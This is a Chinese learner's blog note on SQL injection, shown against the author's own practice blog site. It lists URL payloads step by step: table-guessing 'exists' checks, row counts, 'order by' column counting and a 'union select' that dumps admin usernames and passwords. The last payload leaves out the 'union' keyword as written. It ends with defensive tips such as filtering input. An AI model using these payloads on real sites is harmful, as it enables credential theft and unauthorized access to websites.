之前学jdbc的时候了解过一点点sql注入,这也是为什么要用PreparedStatement而不用Statement的原因之一吧。
今天特意了解了一下sql注入,这里记录一下免得忘了。
以我自己写的博客网站(自己练习写的个网站,域名随便起个http://www.8888.com)为例,点击某篇博客进入(http://www.8888.com/blogPage.jsp?id=2)。然后呢就要查管理员表名(这里悄悄说因为管理员账号密码就在管理员表单里面,反正我的是这样),直接在链接后面加上and exists(select * from 管理员表名),管理员表名这里靠猜,我的是admin。
也就是
http://www.8888.com/blogPage.jsp?id=2 and exists(select * from admin)
报错的话就说明这个表不存在,这就要重新猜了。存在的话返回正常,页面没什么变化,反正我的是这样。
开始猜账号数目(select count(*) from admin)>0
http://www.8888.com/blogPage.jsp?id=2 and (select count(*) from admin)>n
这里的n就是账号数,如果输入0正确,输入1错误那么就表示有一个账号。
现在开始猜字段名and (select count(*) from admin where length(username)>0)=1,这里等号后面的数字1就是之前查的账号数
http://www.8888.com/blogPage.jsp?id=2 and (select count(*) from admin where length(字段名)>0)=1
字段名那里填的就是我们要猜的字段名,如果字段名是对的返回正常。我的是username,还有个password。
然后呢查查当前这个表有多少个字段,这是为之后的联合查询做准备,注意这里的表不是指admin,是指id所在的这个表,也就是我存储博客的这个表。在后面加上order by n. n为数字,表示有多少个字段名,这里也要猜,一个个试,如果8不正确,7正确,就说明有7个字段,我的就是7个。如下
http://www.8888.com/blogPage.jsp?id=2 order by 7
然后就要看看各个字段所处的位置(铺垫),加上union select 1,2,3,4,5,6,7 .有多少个字段就写多少个数字。
http://www.8888.com/blogPage.jsp?id=2 union select 1,2,3,4,5,6,7
效果如图
这里的2和3的位置是标题和正文,我们就让后台账号和密码显示在这两个位置,直接将数字2和3换成管理员账号字段和密码字段,这也需要靠猜,我的分别是username和password,就直接输
http://www.8888.com/blogPage.jsp?id=2 select 1,username,password,4,5,6,7
这里管理员账号和密码就直接显示出来了,然后就需要找网站后台,这也靠猜,也可以谷歌,我的是http://www.8888.com/admin/login.jsp 然后就可以进后台了,然后没有然后了,就了解了这么点。
这里总个结,这玩意靠猜的东西太多了(也可能是我知识储备还不够),都那么容易猜不如直接就去猜管理员账号密码(实在猜不出也还是要试试sql注入),然后呢又了解了sql语句还有这么流弊的用处,以前以为自己学了就记住了,但是呢,不会活用,看来还要多练。搭站方面还要注意过滤字符,数据库表单和字段名都起复杂一点嘛,哈哈哈多重保险。